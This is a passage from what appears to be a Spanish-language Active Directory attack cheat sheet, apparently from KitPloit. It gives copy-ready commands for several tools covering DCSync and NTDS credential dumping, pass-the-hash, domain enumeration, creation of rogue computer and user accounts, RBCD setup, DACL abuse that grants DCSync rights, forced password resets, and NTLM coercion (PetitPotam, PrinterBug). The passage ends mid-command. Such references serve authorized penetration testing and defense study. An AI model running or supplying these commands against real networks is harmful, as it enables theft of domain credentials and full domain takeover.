secretsdump.py DOMAIN/Administrator:some-email@example.com \ -use-keylist -rodcNo \ -rodcKey # impacket — pass-the-hash to authenticate, then key-list secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \ DOMAIN/some-email@example.com \ -use-keylist -rodcNo \ -rodcKey ↑ Volver al índice * * * ### Parseo sin conexión de NTDS > Dado un ntds.dit robado y un hive SYSTEM (de VSS, IFM, copia de seguridad o extracción con semántica de backup), extrae todos los hashes localmente sin volver a tocar el DC.```bash # gosecretsdump — Go reimplementation; dramatically faster on large NTDS files # (secretsdump can take 20+ minutes; gosecretsdump completes in under a minute) gosecretsdump -ntds ntds.dit -system SYSTEM gosecretsdump -ntds ntds.dit -system SYSTEM -enabled # enabled accounts only gosecretsdump -ntds ntds.dit -system SYSTEM -history # include password history gosecretsdump -ntds ntds.dit -system SYSTEM -out hashes.txt root@kitploit:~ [↑ Volver al índice](#index) --- ### DCSync```bash # pypykatz — full domain dump pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:some-email@example.com" # pypykatz — single user (less noisy) pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:some-email@example.com" \ --username krbtgt # pypykatz — pass-the-hash pypykatz smb dcsync \ "smb2+ntlm-nt://DOMAIN\Administrator:some-email@example.com" # Metasploit — full domain dump msf6 > use auxiliary/gather/windows_secrets_dump msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \ smbuser=Administrator smbpass=Password123 action=DOMAIN # Metasploit — restrict to specific users msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \ smbuser=Administrator smbpass=Password123 action=DOMAIN krb_users=krbtgt # impacket — full NTLM dump secretsdump.py DOMAIN/Administrator:some-email@example.com -just-dc-ntlm # impacket — pass-the-hash secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \ DOMAIN/some-email@example.com -just-dc-ntlm # impacket — single account secretsdump.py DOMAIN/Administrator:some-email@example.com \ -just-dc-user DOMAIN/krbtgt # NetExec netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds --user krbtgt # NetExec — pass-the-hash netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds # gopacket — DCSync full NTLM dump secretsdump -just-dc-ntlm DOMAIN/Administrator:some-email@example.com # gopacket — DCSync pass-the-hash secretsdump -just-dc-ntlm -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com # gopacket — DCSync single user secretsdump -just-dc-user DOMAIN/krbtgt DOMAIN/Administrator:some-email@example.com # Titanis — all objects, all credential fields Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \ -EncryptRpc \ -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \ -OutputStyle List # Titanis — single user Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \ -EncryptRpc \ -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \ -OutputStyle List krbtgt # Titanis — pass-the-hash Dsrep rep -UserName Administrator -UserDomain DOMAIN \ -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 dc01.domain.local \ -EncryptRpc \ -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \ -OutputStyle List # Titanis — Kerberos (use DC hostname; -Kdc obtains TGT inline) Dsrep rep -UserName Administrator -UserDomain DOMAIN -Password 'Password123' \ -Kdc 192.168.1.1 dc01.domain.local \ -EncryptRpc \ -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \ -OutputStyle List # Titanis — enumerate DCs first Dsrep dcinfo -UserName Administrator@DOMAIN -Password 'Password123' 192.168.1.1 ↑ Volver al índice * * * ## 5\. Enumeración ### Enumerar usuarios del dominio (SAMR)```bash # impacket samrdump.py DOMAIN/jdoe:some-email@example.com net.py DOMAIN/jdoe:some-email@example.com user # enum4linux-ng enum4linux-ng -U 192.168.1.10 -u jdoe -p Password123 # NetExec netexec smb 192.168.1.10 -u jdoe -p Password123 --users # rpcclient rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomusers" # msldap msldap "ldap+ntlm-password://DOMAIN\jdoe:some-email@example.com" # msldap> adinfo # Titanis Sam enumusers 192.168.1.10 -UserName jdoe -Password Password123 # gopacket — SAMR user enumeration samrdump DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash samrdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com root@kitploit:~ [↑ Volver al Índice](#index) --- ### Enumerar Grupos / Alias Locales```bash # impacket — enumerate domain groups net.py DOMAIN/jdoe:some-email@example.com group # impacket — enumerate local aliases (BUILTIN groups) on a host net.py DOMAIN/jdoe:some-email@example.com localgroup # impacket — add/remove a user from a domain group net.py DOMAIN/admin:some-email@example.com group -name "Domain Admins" -join newuser net.py DOMAIN/admin:some-email@example.com group -name "Domain Admins" -unjoin newuser # impacket — add/remove from a local alias (e.g. local Administrators) net.py DOMAIN/admin:some-email@example.com localgroup -name Administrators -join newuser net.py DOMAIN/admin:some-email@example.com localgroup -name Administrators -unjoin newuser # NetExec netexec smb 192.168.1.10 -u jdoe -p Password123 --groups --local-groups # rpcclient rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomgroups" rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumalsgroups builtin" # msldap msldap "ldap+ntlm-password://DOMAIN\jdoe:some-email@example.com" # msldap> adinfo # bloodyAD — domain groups bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \ --filter "(objectClass=group)" --attr sAMAccountName,description,member # Titanis Sam enumgroups 192.168.1.10 -UserName jdoe -Password Password123 Sam enumaliases 192.168.1.10 -UserName jdoe -Password Password123 # gopacket — enumerate domain groups net DOMAIN/jdoe:some-email@example.com group # gopacket — enumerate local aliases net DOMAIN/jdoe:some-email@example.com localgroup # gopacket — list members of a specific group net DOMAIN/jdoe:some-email@example.com group -name "Domain Admins" net DOMAIN/jdoe:some-email@example.com localgroup -name Administrators # gopacket — add/remove user from a domain group net DOMAIN/admin:some-email@example.com group -name "Domain Admins" -join newuser net DOMAIN/admin:some-email@example.com group -name "Domain Admins" -unjoin newuser # gopacket — pass-the-hash net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com group ↑ Volver al Índice * * * ### Fuerza Bruta / Búsqueda de SID```bash # impacket — brute force RIDs lookupsid.py DOMAIN/jdoe:some-email@example.com # NetExec netexec smb 192.168.1.10 -u jdoe -p Password123 --rid-brute # enum4linux-ng enum4linux-ng -R 192.168.1.10 -u jdoe -p Password123 # Titanis — resolve SID Lsa lookupsid 192.168.1.10 -UserName jdoe -Password Password123 S-1-5-21-1234567890-1234567890-1234567890-500 # Titanis — name to SID Lsa lookupname 192.168.1.10 -UserName jdoe -Password Password123 Administrator jdoe # gopacket — RID brute force (resolves SIDs, dumps domain SID + usernames) lookupsid DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash lookupsid -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com # gopacket — null session (if allowed) lookupsid DOMAIN/@192.168.1.10 root@kitploit:~ [Volver al Índice](#index) --- ### Enumerar Endpoints RPC```bash # impacket rpcdump.py DOMAIN/jdoe:some-email@example.com rpcmap.py ncacn_ip_tcp:192.168.1.10 # Titanis Epm lsep 192.168.1.10 # gopacket — RPC endpoint mapper dump (password) rpcdump DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash rpcdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com # gopacket — rpcmap (unauthenticated TCP endpoint enumeration) rpcmap ncacn_ip_tcp:192.168.1.10 ↑ Volver al índice * * * ### Consulta WMI```bash # impacket wmiquery.py -query "SELECT * FROM Win32_Process" DOMAIN/jdoe:some-email@example.com # impacket — pass-the-hash wmiquery.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -query "SELECT * FROM Win32_Process" DOMAIN/some-email@example.com # NetExec netexec smb 192.168.1.10 -u jdoe -p Password123 --wmi "SELECT * FROM Win32_Process" # NetExec — pass-the-hash netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \--wmi "SELECT * FROM Win32_Process" # Titanis Wmi query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 "SELECT * FROM Win32_Process" Wmi query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -OutputFields Caption,ProcessId,ParentProcessId "SELECT * FROM Win32_Process" # gopacket — WQL query (password) wmiquery -query "SELECT * FROM Win32_Process" DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash wmiquery -query "SELECT * FROM Win32_Process" -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com root@kitploit:~ [↑ Volver al Índice](#index) --- ### Invocación de Métodos WMI```bash # impacket — exec-based workaround only wmiexec.py DOMAIN/jdoe:some-email@example.com "calc.exe" # Titanis — invoke any WMI method directly Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \ Win32_Process Create "calc.exe" ↑ Volver al Índice * * * ### Operaciones de Registro Remoto```bash # impacket — list key reg.py DOMAIN/jdoe:some-email@example.com query -keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion # NetExec — read a registry value (via -x) netexec smb 192.168.1.10 -u jdoe -p Password123 -x "reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags" # Titanis — list key Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion # impacket — read a value reg.py DOMAIN/jdoe:some-email@example.com query -keyName HKLM\SYSTEM\CurrentControlSet\Control\Lsa -v LsaCfgFlags # Titanis — read a value Reg get 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 HKLM/SYSTEM/CurrentControlSet/Control/Lsa LsaCfgFlags # gopacket — query a key reg query -keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion DOMAIN/jdoe:some-email@example.com # gopacket — read a value reg query -keyName HKLM\SYSTEM\CurrentControlSet\Control\Lsa -v LsaCfgFlags DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash reg query -keyName HKLM\SOFTWARE -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com # impacket — set a value reg.py DOMAIN/jdoe:some-email@example.com add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd "TestData" # Titanis — set a value Reg set 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 HKCU/Software/Test sz:TestValue=TestData # gopacket — set a value reg add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd TestData DOMAIN/jdoe:some-email@example.com # gopacket — delete a value reg delete -keyName HKCU\Software\Test -v TestValue DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash reg add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd TestData -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com root@kitploit:~ [↑ Volver al Índice](#index) --- ### Descriptor de seguridad de clave de registro```bash # rpcclient rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regetkeysecurity HKLM\\SAM" rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regsetsecurity HKLM\\SAM " # Titanis Reg getsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 HKLM/SAM Reg setsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \ HKLM/SAM "O:BAG:SYD:(A;;KA;;;SY)" ↑ Volver al Índice * * * ### Enumeración de Servicios```bash # impacket services.py DOMAIN/jdoe:some-email@example.com list # NetExec netexec smb 192.168.1.10 -u jdoe -p Password123 --services # aiosmb — interactive client asmbclient "smb+ntlm-password://DOMAIN\jdoe:some-email@example.com" # smb> services # smb> tasks # Titanis — query all services Scm query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 # impacket — start / stop services.py DOMAIN/jdoe:some-email@example.com start -name Spooler services.py DOMAIN/jdoe:some-email@example.com stop -name Spooler # Titanis — start / stop Scm start 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Spooler Scm stop 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Spooler # Titanis — create / delete Scm create 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc "C:\Windows\System32\cmd.exe" Scm delete 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc # gopacket — list all services services DOMAIN/jdoe:some-email@example.com list # gopacket — pass-the-hash services -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com list # gopacket — query status of a single service services DOMAIN/jdoe:some-email@example.com status -name Spooler # gopacket — start / stop services DOMAIN/jdoe:some-email@example.com start -name Spooler services DOMAIN/jdoe:some-email@example.com stop -name Spooler root@kitploit:~ [↑ Volver al índice](#index) --- ### Administración de privilegios LSA```bash # rpcclient rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \ -c "lsaaddprivs S-1-5-21-...-1001 SeDebugPrivilege" rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \ -c "lsadelprivs S-1-5-21-...-1001 SeDebugPrivilege" # bloodyAD — no userRight subcommand; use rpcclient or Titanis for LSA privilege assignment # Titanis # ⚠️ Three requirements: # 1. -PreferSmb required when targeting Domain Controllers (not needed for member servers) # 2. -BySid required; -ByName is broken (LsaLookupNames always returns STATUS_OBJECT_NAME_NOT_FOUND) # 3. Target account must have an existing LSA policy entry — run createaccount first if not # # Get SID first (impacket): lookupsid.py 'DOMAIN/admin:Pass@dc-ip' | grep # # Step 1 — create LSA account entry if target has no existing explicit rights Lsa createaccount 192.168.1.10 S-1-5-21-...-1001 \ -UserName jdoe -UserDomain DOMAIN -Password Password123 -PreferSmb # Step 2 — add/remove privilege Lsa addpriv 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \ -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb Lsa rmpriv 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \ -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb Lsa setsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \ -BySid S-1-5-21-...-1001 0x20 -PreferSmb ↑ Volver al índice * * * ### Enumeración de privilegios y cuentas LSA```bash # rpcclient rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "lsaenumsid" rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumprivs" # enum4linux-ng enum4linux-ng -P 192.168.1.10 -u jdoe -p Password123 # Titanis Lsa enumaccounts 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 # requires admin Lsa enumprivaccounts 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -Privilege SeDebugPrivilege Lsa getprivs 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe Lsa getrights 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe Lsa getsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe root@kitploit:~ [↑ Volver al Índice](#index) --- ## 6. Active Directory / LDAP ### Enumerar usuarios / equipos de AD```bash # impacket GetADUsers.py -all -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123 GetADComputers.py -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123 # NetExec netexec ldap 192.168.1.1 -u jdoe -p Password123 --users netexec ldap 192.168.1.1 -u jdoe -p Password123 --computers # bloodyAD bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=user)" --attr sAMAccountName,userPrincipalName,userAccountControl bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=computer)" --attr sAMAccountName,dNSHostName,operatingSystem # msldap — password msldap "ldap+ntlm-password://DOMAIN\jdoe:some-email@example.com" # msldap> adinfo # msldap — pass-the-hash msldap "ldap+ntlm-nt://DOMAIN\jdoe:some-email@example.com" # msldap — Kerberos ccache msldap "ldap+kerberos+ccache://DOMAIN\jdoe:@dc01.domain.local/?dc=192.168.1.1&ccache=jdoe.ccache" # msldap — via SOCKS5 msldap "ldap+ntlm-password://DOMAIN\jdoe:some-email@example.com/?proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080" # Titanis — use Ldap query (not Ldap search) with -FollowReferrals on Linux # Linux notes: # - Use Ldap query, not Ldap search — Ldap search always probes RootDSE first, hits a referral, # and returns no records regardless of -SearchBase or -FollowReferrals # - -FollowReferrals required — without it, referral targets are printed as INFO and results are empty # - -OutputFields only accepts one field at a time on Linux; comma lists show header but no rows # Workaround: -OutputFields '*' -OutputStyle List and grep/parse Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=user)" -FollowReferrals Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=computer)" -FollowReferrals # gopacket — enumerate AD users (requires -port 389) GetADUsers -all -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:some-email@example.com # gopacket — enumerate AD computers (requires -port 389) GetADComputers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash GetADUsers -all -dc-ip 192.168.1.1 -port 389 \ -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com ↑ Volver al índice * * * ### Enumeración de GPO y confianzas de dominio```bash # NetExec — BloodHound collection (includes GPOs and trusts) netexec ldap 192.168.1.1 -u jdoe -p Password123 --bloodhound --collection All # bloodyAD — domain trusts bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \--filter "(objectClass=trustedDomain)" --attr name,trustDirection,trustType,flatName # msldap msldap "ldap+ntlm-password://DOMAIN\jdoe:some-email@example.com" # msldap> trusts # Titanis — enumerate GPO containers # Use Ldap query + -FollowReferrals on Linux; -OutputFields comma list works on Windows only # Linux: use -OutputStyle List and parse, or -OutputFields * and grep Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=groupPolicyContainer)" -OutputFields displayName,gPCFileSysPath,versionNumber -FollowReferrals # Titanis — enumerate domain trusts Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=trustedDomain)" -OutputFields name,trustDirection,trustType,trustAttributes,flatName -FollowReferrals # Titanis — Kerberos auth variants Ldap query dc01.domain.local -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password Password123 "(objectClass=groupPolicyContainer)" -OutputFields displayName,gPCFileSysPath -FollowReferrals # ⚠️ -TicketCache only works with Titanis-native ccache; use -Tgt with a Titanis-generated TGT instead # Ldap query dc01.domain.local -UserName jdoe -UserDomain DOMAIN \ # -TicketCache jdoe.ccache "(objectClass=trustedDomain)" -OutputFields * -FollowReferrals # ldapsearch — raw GPO objects ldapsearch -H ldap://192.168.1.1 -D "CN=jdoe,CN=Users,DC=domain,DC=local" -w Password123 -b "CN=Policies,CN=System,DC=domain,DC=local" "(objectClass=groupPolicyContainer)" displayName gPCFileSysPath root@kitploit:~ [↑ Volver al Índice](#index) --- ### Encontrar Configuraciones de Delegación```bash # impacket findDelegation.py -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123 # NetExec netexec ldap 192.168.1.1 -u jdoe -p Password123 --trusted-for-delegation # bloodyAD — unconstrained delegation bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \ --filter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" --attr sAMAccountName,userAccountControl # msldap msldap "ldap+ntlm-password://DOMAIN\jdoe:some-email@example.com" # msldap> unconstrained # Titanis — unconstrained Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \ "(userAccountControl|=TrustedForDelegation)" -OutputFields * -FollowReferrals # Titanis — constrained Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \ "(msDS-AllowedToDelegateTo=*)" -OutputFields * -FollowReferrals # Titanis — S4U2self only Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \ "(userAccountControl|=TrustedForS4U2self)" -OutputFields * -FollowReferrals # gopacket — find all delegation types (requires -port 389) findDelegation -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash findDelegation -dc-ip 192.168.1.1 -port 389 \ -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com ↑ Volver al Índice * * * ### Agregar una cuenta de equipo```bash # impacket — SAMR method (no LDAPS required) addcomputer.py -method SAMR -computer-name EVILPC$ -computer-pass Password123 -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123 # impacket — LDAPS method addcomputer.py -method LDAPS -computer-name EVILPC$ -computer-pass Password123 -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123 # impacket — pass-the-hash (SAMR) addcomputer.py -method SAMR -computer-name EVILPC$ -computer-pass Password123 -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/jdoe # bloodyAD bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add computer EVILPC$ Password123! # NetExec netexec smb 192.168.1.1 -u jdoe -p Password123 -M add-computer -o NAME=EVILPC$ PASSWORD=Password123 # Titanis — plain LDAP (creates account, unicodePwd not set without -Ssl) Ldap addcomputer 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 'CN=EVILPC$,CN=Computers,DC=domain,DC=local' # Titanis — LDAPS (sets unicodePwd; use full DN as ObjectName) Ldap addcomputer 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 -NewPassword Password123! -Ssl 'CN=EVILPC$,CN=Computers,DC=domain,DC=local' # gopacket — SAMR method (plain LDAP or no LDAPS; confirmed working with -Ssl flag on Titanis) addcomputer -method SAMR -computer-name EVILPC$ -computer-pass Password123 -dc-ip 192.168.1.1 DOMAIN/jdoe:some-email@example.com # gopacket — LDAP method (requires -port 389; use -Ssl / -port 636 for LDAPS) addcomputer -method LDAP -computer-name EVILPC$ -computer-pass Password123 -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:some-email@example.com root@kitploit:~ [↑ Volver al índice](#index) --- ### Añadir una cuenta de usuario```bash # impacket — net.py does NOT support user -add; use bloodyAD or netexec instead # (net.py only supports user -list, -enable, -disable; creation via SAMR is not implemented) # bloodyAD — password bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add user newuser Password123! # bloodyAD — pass-the-hash bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \ add user newuser Password123! # net rpc (Samba) net rpc user add newuser Password123! -U DOMAIN/jdoe%Password123 -S 192.168.1.10 # Titanis Ldap adduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 newuser Password123! ↑ Volver al Índice * * * ### Set RBCD```bash # impacket rbcd.py -delegate-from EVILPC$ -delegate-to TARGET$ -action write -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123 # impacket — pass-the-hash rbcd.py -delegate-from EVILPC$ -delegate-to TARGET$ -action write -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/jdoe # bloodyAD bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 set object TARGET$ msDS-AllowedToActOnBehalfOfOtherIdentity -v '' # gopacket — set RBCD (write msDS-AllowedToActOnBehalfOfOtherIdentity; requires -port 389) rbcd -delegate-from EVILPC$ -delegate-to TARGET$ -action write -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash rbcd -delegate-from EVILPC$ -delegate-to TARGET$ -action write -dc-ip 192.168.1.1 -port 389 -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com # gopacket — read current RBCD value rbcd -delegate-to TARGET$ -action read -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:some-email@example.com root@kitploit:~ [↑ Volver al índice](#index) --- ### Abuso de DACL > **Estado de Titanis:** Sin capacidad de escritura de ACE. `bloodyAD` es la opción preferida no-impacket. `dacledit.py` / `owneredit.py` son las opciones de respaldo de impacket.```bash # bloodyAD — grant GenericAll bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \ add genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe # bloodyAD — grant DCSync rights bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass add dcsync jdoe # bloodyAD — change owner bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set owner targetuser jdoe # bloodyAD — cleanup bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \ remove genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe # dacledit.py — grant DCSync dacledit.py -action write -rights DCSync \ -principal jdoe -target-dn "DC=domain,DC=local" \ DOMAIN/admin:some-email@example.com # dacledit.py — grant GenericAll dacledit.py -action write -rights FullControl \ -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \ DOMAIN/admin:some-email@example.com # owneredit.py — change owner owneredit.py -action write -new-owner jdoe \ -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \ DOMAIN/admin:some-email@example.com # gopacket — dacledit: read DACL on an object (requires -port 389) dacledit -action read -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \ -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:some-email@example.com # gopacket — dacledit: grant DCSync rights dacledit -action write -rights DCSync \ -principal jdoe -target-dn "DC=domain,DC=local" \ -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:some-email@example.com # gopacket — dacledit: grant FullControl dacledit -action write -rights FullControl \ -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \ -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:some-email@example.com # gopacket — owneredit: change owner (requires -port 389) owneredit -action write -new-owner jdoe \ -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \ -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:some-email@example.com # Titanis — post-exploitation after ACE grant (force password reset) Kerb setpw -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password jdoePass \ targetuser@DOMAIN NewPass123 ↑ Volver al Índice * * * ### Modificación de Atributos de Usuario (UAC Bitflags)```bash # impacket — enable / disable an account (net.py covers these two UAC bits directly) net.py DOMAIN/admin:some-email@example.com user -enable targetuser net.py DOMAIN/admin:some-email@example.com user -disable targetuser # bloodyAD — add UAC flag (enable AS-REP roasting) bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add uac targetuser -f DONT_REQ_PREAUTH # bloodyAD — remove UAC flag (re-enable account) bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 remove uac targetuser -f ACCOUNTDISABLE # Titanis Ldap moduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 targetuser userAccountControl+=4194304 # gopacket — enable / disable an account net DOMAIN/admin:some-email@example.com user -enable targetuser net DOMAIN/admin:some-email@example.com user -disable targetuser # gopacket — pass-the-hash net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com user -enable targetuser root@kitploit:~ [↑ Volver al índice](#index) --- ## 7. Coerción de Autenticación > Combine la parte de coerción con `ntlmrelayx` o Responder para la parte de relay. Titanis `credcoerce` solo cubre MS-EFSR.```bash # MS-EFSR — single technique CredCoerce 192.168.1.10 \\\share \ -UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile # MS-EFSR — multiple techniques CredCoerce 192.168.1.10 \\\share \ -UserName jdoe -UserDomain DOMAIN -Password Password123 \ -Techniques Efs.OpenFile,Efs.EncryptFile,Efs.DecryptFile,\ Efs.QueryUsersOnFile,Efs.QueryRecoveryAgents,Efs.FileKeyInfo,\ Efs.DuplicateEncryptionInfoFile # MS-RPRN (PrinterBug) — no Titanis equivalent printerbug.py DOMAIN/jdoe:some-email@example.com # NetExec — coerce_plus covers all methods (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, MSEven) netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER= netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER= METHOD=PrinterBug netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER= METHOD=PetitPotam # MS-DFSNM (DFSCoerce) — no Titanis equivalent python3 dfscoerce.py -d DOMAIN -u jdoe 